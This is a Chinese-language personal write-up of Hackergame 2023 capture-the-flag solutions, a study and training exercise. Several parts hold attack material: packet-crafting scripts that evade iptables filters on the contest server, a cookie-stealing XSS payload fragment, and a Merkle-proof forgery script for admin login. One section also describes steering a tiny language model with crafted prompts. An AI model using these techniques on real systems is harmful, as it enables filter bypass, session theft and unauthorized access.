Hackergame 2023 Writeup

今年又看到了广告,虽然很忙,前两天稍微做了一下本来想着就算了, 但还是跟之前一样看到自己进了榜又放不下了,花了一些时间。

Hackergame 启动

签到题,随便提交一下发现多了一个 query 参数,没有仔细看源码随便试数根据提示超过99.99可以过。

猫咪小测

信息检索题,好像比去年容易一些?这次以学术为主,图书馆网站找书和论文网站找论文占了 3/4。

更深更暗

看源码里面有一个 getFlag 函数写了生成 flag 的逻辑。

旅行照片 3.0

今年的人肉题很有意思,最关键的线索就是照片里可以看到的 STATPHYS28 这个学术会议。 然后根据时间地点谷歌出各种信息。

我主要被卡住的两个地方一是没看到诺奖得主要求是当地大学的,一番搜索后把发现石墨烯的那位呆过的大学都试了一遍。 还有就是没有理解地点那一题明明是两人分开了,集合是什么意思? 于是把网上能找到的东京几乎所有著名地标都试了一次。最后发现需要的是这场学术会议组织了一场旅行的集合地点。

赛博井字棋

经典的下棋盖住别人棋子的 bug ,找一下前端代码的关键函数改一下坐标手动提交一下就行。

奶奶的睡前 flag 故事

重点在题目文字部分给出了提示,是 pixel 的截图的 bug,之前刚好对这个新闻有印象,找到了一个在线复现 的网站。

组委会模拟器

也是写一些纯前端的代码,定时遍历一下所有相关元素,对符合要求的调用一下 click 函数。

根据提示可以找到国际空间站有种用声音传图片的方式叫 SSTV,找到一篇博客介绍 qsstv 这个软件, 可以把正在播放的音频传给它生成对应图片。

其实我最早找到的是一个介绍 qsstv 的 youtube 视频, 但是我这里的 qsstv 直接读 wav 文件不好使,提示不支持,只能通过读声卡的方式解决。

JSON ⊂ YAML?

可以找到 reddit 和 hacker news 上对相关问题的一些讨论, 第一问是对科学计数法的处理不同,第二问是对于键能不能重复的处理不同。

Git? Git!

用过 git 的应该都听说过 git reflog 可以找到已经弄丢了的提交。

HTTP 集邮册

这个题目我也很喜欢。拼命翻各种文档,这个网站 帮助大一些,对每种状态码 都给了一个例子,不过很多状态码都是依赖上下文的,最终收集到的有 [100, 200, 206, 304, 400, 404, 405, 412, 413, 414, 416, 505]

第二问对 HTTP 的历史是真的不太了解,我是乱试出来的。

Docker for Everyone

也是考的比较常见的 docker 的文件权限的机制,容器内外对于挂载的外部的文件权限是共享的。

惜字如金 2.0

这次好像出的比去年容易?给出了每个字符串的原始长度,枚举一下就行。

cipher = [53, 41, 85, 109, 75, 1, 33, 48, 77, 90, 17, 118, 36, 25, 13, 89, 90, 3, 63, 25, 31, 77, 27, 60, 3, 118, 24, 62, 54, 61, 25, 63, 77, 36, 5, 32, 60, 67, 113, 28]

ans_set = set()

def dfs(code_dict, i):
    if i == len(code_dict):
        jcode = ''.join(code_dict)
        if jcode[53] != 'f':
            return
        if jcode[41] != 'l':
            return
        if jcode[85] != 'a':
            return
        if jcode[109] != 'g':
            return
        if jcode[75] != '{':
            return
        if jcode[28] != '}':
            return
        plain = decrypt_data(code_dict, cipher)
        if plain.find('}') != len(cipher) - 1:
            return
        ans_set.add(plain)
        return

    code = code_dict[i]
    for j in range(len(code)):
        new_code = code[:j] + code[j] + code[j:]
        code_dict[i] = new_code
        dfs(code_dict, i + 1)
        code_dict[i] = code


def get_code_dict():
    code_dict = []
    code_dict += ['nymeh1niwemflcir}echaet']
    code_dict += ['a3g7}kidgojernoetlsup?h']
    code_dict += ['ulw!f5soadrhwnrsnstnoeq']
    code_dict += ['ct{l-findiehaai{oveatas']
    code_dict += ['ty9kxborszstguyd?!blm-p']
    return code_dict

def decrypt_data(code_dict, input_codes):
    # retriev th decrypted data
    code_dict = ''.join(code_dict)
    output_chars = [code_dict[c] for c in input_codes]
    return ''.join(output_chars)


code_dict = get_code_dict()
dfs(code_dict, 0)
for ans in ans_set:
    print(ans)

🪐 高频率星球

关于终端输出的问题,asciinema 给了一个 cat 子命令但是得到的内容包含了一些终端的控制字符。

没有时间去了解每个字符是什么意思,但是都是重复出现的,我的做法是用 vscode 打开把可疑的字符做了下替换。

🪐 小型大语言模型星球

这个题目我也很喜欢,感觉很好玩。

前两问不太需要相关的知识,手动试就行。 第一问是编故事,我写的是 Lily is a smart girl. "Am I smart ?" she asked her mom. Her mom said: " 第二问之前没有注意到要求输入 7 个字节,还以为是输出长度不能超过 7 个单词 ,花了很多时间尝试怎么让它 说完这个词就结束。我的方式是下载了训练集找 accepted. 结尾的句子给它。后来发现方向错了, 这时我的做法是在训练集里找这个词前面出现最多的单词,最后发现 gladlygratefully 这两个词后面更容易生成这个单词,但是又超过了限制,最后一通乱试出来的输入是 P grate

后面两问看起来比较专业,可能需要下载模型通过类似之前图片对抗攻击那样去构造一些特别的输入, 而我的 NLP 知识很久没更新了,就没有去做。

流式星球

给出了一个代码,读取 mp4 把每一帧存成 np array , 然后随机删掉末尾一些像素。

我的做法搞得比较复杂,就是枚举可能的长,宽和帧数,剪枝掉一些差距特别悬殊的数字, 对于每一组可能的参数把中间的某一帧输出出来人工检查,找到最终的视频参数。

import numpy as np
from sympy import factorint, divisors
from PIL import Image
# step 1 find candidates of length
buf = np.fromfile('video.bin', dtype=np.uint8)
l = buf.shape[0]

candidates = []
for x in range(l, l + 100):
    fact_dict = factorint(x)
    if 3 in fact_dict and len(set(fact_dict.values())) != 1 and all(map(lambda k: k < 10000, fact_dict.keys())):
        candidates.append(x)
print(candidates)


# step 2 find params set
MINV = 100
MAXV = 2000
def gen_params(prod):
    prod = prod // 3
    divs = list(divisors(prod))
    n = len(divs)
    params = []

    for i in range(n):
        # width
        width = divs[i]
        if width < MINV or width > MAXV or width % 10 == 0:
            continue

        # height
        remain = prod // width
        remain_divisors = list(divisors(remain))
        for j in range(len(remain_divisors)):
            height = remain_divisors[j]
            if height < MINV or height > MAXV or width % 10 == 0:
                continue

            # frames
            num_frames = remain // height
            assert (width * height * num_frames) == prod

            params.append((num_frames, height, width))
    return params


def test_param(buf, param):
    num_frames, height, width = param
    buf = buf.reshape((num_frames, height, width, 3))
    mid = num_frames // 2
    mid_frame = buf[mid]

    img = Image.fromarray(mid_frame)
    img.save(f'{height}x{width}-{num_frames}.png')

params = {}
for prod in candidates:
    params[prod] = gen_params(prod)

for prod, param in params.items():
    empty = np.empty(shape=(prod-l), dtype=np.uint8)
    full_buf = np.concatenate((buf, empty))
    for p in param:
        pass
        # test_param(full_buf, p)

# step 3 recovery
def print_video(buf, param):
    num_frames, height, width = param
    buf = buf.reshape((num_frames, height, width, 3))
    for i in range(num_frames):
        frame = buf[i]
        img = Image.fromarray(frame)
        img.save(f'{i}.png')

right_param = (139, 759, 427)
prod = right_param[0] * right_param[1] * right_param[2] * 3
empty = np.empty(shape=(prod-l), dtype=np.uint8)
full_buf = np.concatenate((buf, empty))
print_video(full_buf, right_param)

🪐 低带宽星球

第一问随便找个在线的图片优化工具,我用的是 tinyPNG 。 第二问我想到是要构造一个 libvips 支持的特殊的图片格式了。 GIF 看起来较短但到了数据编码那里感觉会超过,又试了 svg 发现也太长, 通过搜索了解到 FLIF 这个格式会比较短但是发现太小众不支持, 后来感觉比较花时间就没再继续尝试其他的格式。

Komm, süsser Flagge

这个题目我也很喜欢,建议作为网络实验课程课后作业。

第一问是识别 TCP 包中的 “POST” 字符串。不过 iptables 看到的是完整的数据包,而 TCP 是一个流式协议, 所以可以用 TCP_NODELAY 把一个 HTTP 请求拆成两个 IP 包发出去。 感觉完全可以当成一个面试题了,虽然考察的都是 TCP 是流式协议,问这个不比问 “什么是粘包” 高级多了? 顺便还能考察一下对协议分层的理解。

第二问考察 iptables 的 u32 match,理解后可以发现表达式在对 TCP 头取长度时偷懒了,省略移位后的操作, 没有 & 0x3C 去掉后面两位。而长度后面刚好是没什么用的保留位。所以可以设置保留位不经过内核协议栈手动发包。 我后两问用的是 scapy 手动模拟一下 TCP 握手,通过 wireshark 抓包 debug 和看结果。 为了偷懒第三次握手直接携带了数据,所以就一共就组了两个包,拿到 flag 后甚至连个 ACK 都懒得回了。

第三问是了解一下 iptables 的 from 和 to 两个参数的含义,发现并不是我误以为的匹配的 payload 的 偏移而是整个数据包的,因此可以在前面两层的可选字段里随便加点东西。

后两问用 scapy 要注意的是对方回来的包还是要交给内核先处理,所以内核看不到这个 TCP 链接必定会回复 RST, 可以在本地加一条 iptables 规则 sudo iptables -A OUTPUT -p tcp --tcp-flags RST -d 202.38.93.111 -j DROP 避免本机内核干扰这个用户态的交互过程。

# 1
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

token = "token"
msg = f"T / HTTP/1.1\r\nHost: 202.38.93.111:18080\r\nContent-Length:{len(token)}\r\n\r\n{token}"
s.connect(('202.38.93.111', 18080))
s.sendall(b"POS")
s.sendall(msg.encode())
buf = s.recv(1024)
print(buf)

# 2
from scapy.all import *
token = "token"
msg = f"POST / HTTP/1.0\r\nHost: 202.38.93.111:18081\r\nContent-Length:{len(token)}\r\n\r\n{token}"
ip = '202.38.93.111'
dport = 18081
sport = random.randint(1024, 65535)
IP = IP(src='10.21.5.92', dst=ip)
# three way handshake with payload
SYN = TCP(sport=sport, dport=dport, flags='S', seq=1000)
SYNACK = sr1(IP/SYN)
print(SYNACK)
peer_seq = SYNACK.seq
peer_ack = SYNACK.ack
ACK = TCP(sport=sport, dport=dport, flags='A', reserved=3, ack=peer_seq + 1, seq=peer_ack)
PAYLOAD = Raw(load=msg.encode())
sr(IP/ACK/PAYLOAD)

# 3
from scapy.all import *
token = "token"
msg = f"POST / HTTP/1.1\r\nHost: 202.38.93.111:18082\r\nContent-Length:{len(token)}\r\n\r\n{token}"
ip = '202.38.93.111'
dport = 18082
PAYLOAD = Raw(load=msg.encode())

sport = random.randint(1024, 65535)
options = [(10, b'GET / HTTP')]
IP = IP(src='10.21.5.92', dst=ip)
# three way handshake with payload
SYN = TCP(sport=sport, dport=dport, flags='S', seq=1000, options=options)
SYNACK = sr1(IP/SYN)
print(SYNACK)
peer_seq = SYNACK.seq
peer_ack = SYNACK.ack
ACK = TCP(sport=sport, dport=dport, flags='A', ack=peer_seq + 1, seq=peer_ack, options=options)
sr(IP/ACK/PAYLOAD)

为什么要打开 /flag 😡

第一问 hook 掉了一些 C 库函数,但是可以通过静态编译来解决。 第二问的代码看起来太长了没有花时间去看。

异星歧途

是游戏里的程序逻辑问题,想起了上上次做 hackergame 的红石电路题。

32 个比特分成了四组,每部分基本上独立。这个游戏没有玩过,一开始没有注意到有个管理开关逻辑的方块。 一直在乱试,竟然把后两个成功试出了对的答案。但是前两个单元怎么拨开关都没反应。本来都打算学一学这游戏 怎么玩了才看到开关是通过一个方块来控制的,里面有一些简单的编程逻辑。简单逆向一下就可以写出 前两个单元的正确答案了。

微积分计算小练习 2.0

这个题也看了很久,最后功亏一篑了。XSS 限制的长度很短,但是发现可以 self XSS, "+document["cookie"]+" 而且刚好长度也差不多,然后我就一直在想怎么跨域从 iframe 的 DOM 里读出来 flag ,完全想偏了。 虽然没做出来但学了很多跨域相关的知识。 看了题解其实是可以通过 window.open 把子窗口的 window.name 修改成 payload 这样就不限长度了。

O(1) 用户登录系统

做出来的为数不多的数学题,其实也不完全是数学题,更多还是考察 merkle tree。 我们可以随意构造一棵树,不允许创建 admin 用户,但是又要通过 admin 登录。 思路就是比如我们原本想要一棵四个用户七个节点的三层的树,可以把中间的两个非叶子节点的内容构造成可以手动输入的字符串。 在构建树的阶段输入两个中间节点的值,这样就可以构建出一棵三个节点的两层的树,但两棵树 root 的值是一样的, 登录验证阶段再当成原来的三层的树来验证,就绕过了手动输入 admin 的限制。

问题就变成了,暴力枚举出一个admin:开头的用户信息,哈希之后的 bytes 里包含了 b':', 并且这个哈希还可以正常 UTF-8 decode 因为输入经过了把 str encode 到 byte 的过程 (这里卡了比较久,输入构造出的字符串总是不对才注意到,因为被 encode 成了不同的东西)。

脚本跑了挺久的,只因我不想用 pwntools 交互,限制了得到的 hash 必须是可以打印的。

import string
from collections import Counter
from hashlib import sha1
import sys

payload = string.ascii_letters + string.digits

u1, u2 = None, None

# brute force to get a hash with ':'
def getstr_admin(payload, s, slen):
    global u1
    if len(s) == slen:
        hash = sha1(s.encode()).digest()
        if Counter(hash)[ord(':')] == 1 and hash.index(b':') != 0 and hash.index(b':') != len(hash) - 1:
            try:
                tmp = hash.decode()
                if any([(not ch.isprintable() or ch == '\n') for ch in tmp]):
                    raise Exception
            except Exception:
                pass
            else:
                u1 = s
                print(s)
                print(hash.hex())
                print(hash.decode())
        return

    for i in payload:
        if not u1:
            sl = s + i
            getstr_admin(payload, sl, slen)


def getstr_user(payload, s, slen):
    global u2
    if len(s) == slen:
        hash = sha1(s.encode()).digest()
        if b':' not in hash:
            try:
                tmp = hash.decode()
                if any([(not ch.isprintable() or ch == '\n') for ch in tmp]):
                    raise Exception
            except Exception:
                pass
            else:
                u2 = s
                print(s)
                print(hash.hex())
                print(hash.decode())
        return

    for i in payload:
        if not u2:
            sl = s+i
            getstr_user(payload, sl, slen)

for i in range(7,90):
    print(i)
    getstr_admin(payload,'admin:',i)
    if u1:
        u1_hash = sha1(u1.encode()).digest()
        break

for i in range(7,90):
    print(i)
    getstr_user(payload,'user:',i)
    if u2:
        u2_hash = sha1(u2.encode()).digest()
        break

# u1 = 'admin:f1DAP'
# u2 = 'user:aLxZ'
u3 = u1
u3_hash = sha1(u3.encode()).digest()
u4 = u2
u4_hash = sha1(u4.encode()).digest()

# Tree 1
#      root
#   n1     n2
# u1 u2  u3 u4

# Tree 2
#    root
#  n1    n2
n1 = u1_hash + u2_hash if u1_hash < u2_hash else u2_hash + u1_hash
n2 = n1

sys.stdout.buffer.write(n1)
print()

# Pretend we are visiting Tree 1
n1_hash = sha1(n1).digest()
proof = (u4_hash + n1_hash).hex()
credential = f'{u3}:{proof}'
print(credential)

感想

目前参加过了三次 hackergame,感觉已经和 advent of code 一样成为我每年年末都要参与的线上活动了。 都是比较有趣味性的活动,做的过程对我来说都有点花时间但是比较享受,而且对我这种非竞赛玩家比较友好。 虽然参加 hackergame 每次都进了榜,但排的不算高,这次是 36 名,跟前面的大佬比差距还比较大。

我感觉今年要比去年简单一些?前面一些题整体上还是做的挺顺的,虽然部分题目有些地方还是被卡了一下。 不过数学和密码题这次我的表现挺差的,基本算是都没做出来。有一道 z3 能解决的数学题也因为懒得去学放过了。 这么看来 z3 solver 好像是 hackergame 和 advent of code 这两个每年都会有的固定节目。

接下来还是去忙自己的事了。不过我觉得在这上面花的时间还是挺有意义的,解决题目的成就感是我参加 这两个活动的最重要原因,我相信对于做其他事情也有帮助。